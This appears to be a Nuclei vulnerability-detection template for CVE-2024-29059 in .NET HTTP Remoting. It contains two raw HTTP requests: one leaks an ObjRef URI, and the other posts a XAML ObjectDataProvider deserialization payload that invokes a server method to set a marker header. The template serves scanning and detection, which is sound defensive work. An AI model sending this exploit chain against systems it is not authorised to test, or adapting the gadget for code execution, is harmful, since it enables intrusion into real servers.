id: CVE-2024-29059 info: name: .NET Framework - Leaking ObjRefs via HTTP .NET Remoting author: iamnoooob,rootxharsh,DhiyaneshDk,pdresearch severity: high description: .NET Framework Information Disclosure Vulnerability reference: - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-29059 - https://code-white.com/blog/leaking-objrefs-to-exploit-http-dotnet-remoting/ - https://github.com/codewhitesec/HttpRemotingObjRefLeak - https://github.com/NaInSec/CVE-LIST - https://github.com/fkie-cad/nvd-json-data-feeds classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2024-29059 cwe-id: CWE-209 epss-score: 0.01259 epss-percentile: 0.85581 cpe: cpe:2.3:a:microsoft:.net_framework:*:*:*:*:*:*:*:* metadata: max-request: 2 vendor: microsoft product: .net_framework shodan-query: - 'Server: MS .NET Remoting' - "server: ms .net remoting" tags: cve,cve2024,dotnet,microsoft,remoting,deserialization http: - raw: - | GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.1 Host: {{Hostname}} __RequestVerb: POST Content-Type: text/xml - | POST {{objref}} HTTP/1.1 Host: {{Hostname}} SOAPAction: "" Content-Type: text/xml <ObjectDataProvider MethodName="AddHeader" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:System="clr-namespace:System;assembly=mscorlib" xmlns:System.Web="clr-namespace:System.Web;assembly=System.Web"><ObjectDataProvider.ObjectInstance><ObjectDataProvider MethodName="get_Response"><ObjectDataProvider.ObjectInstance> <ObjectDataProvider ObjectType="{x:Type System.Web:HttpContext}" MethodName="get_Current" /> </ObjectDataProvider.ObjectInstance> </ObjectDataProvider> </ObjectDataProvider.ObjectInstance> <ObjectDataProvider.MethodParameters> <System:String>X-Vuln-Test</System:String> <System:String>{{randstr}}</System:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> extractors: - type: regex name: objref part: body_1 group: 1 regex: - "(/[0-9a-f_]+/[0-9A-Za-z_+]+_[0-9]+\\.rem)" internal: true - type: dsl dsl: - x_vuln_test matchers: - type: dsl dsl: - "contains(body_1,'ObjRef')" - "contains(x_vuln_test,'{{randstr}}')" condition: and # digest: 4a0a004730450220345063f60a2d0c6207c121752f7cb77e3dcbed7838778fba2d50401c0157e8b3022100c4030d56682e9556b292d09469ecf21d4119b2f3b7dd00ad8d5ee7c70a1c1f00:922c64590222798bb761d5b6d8e72950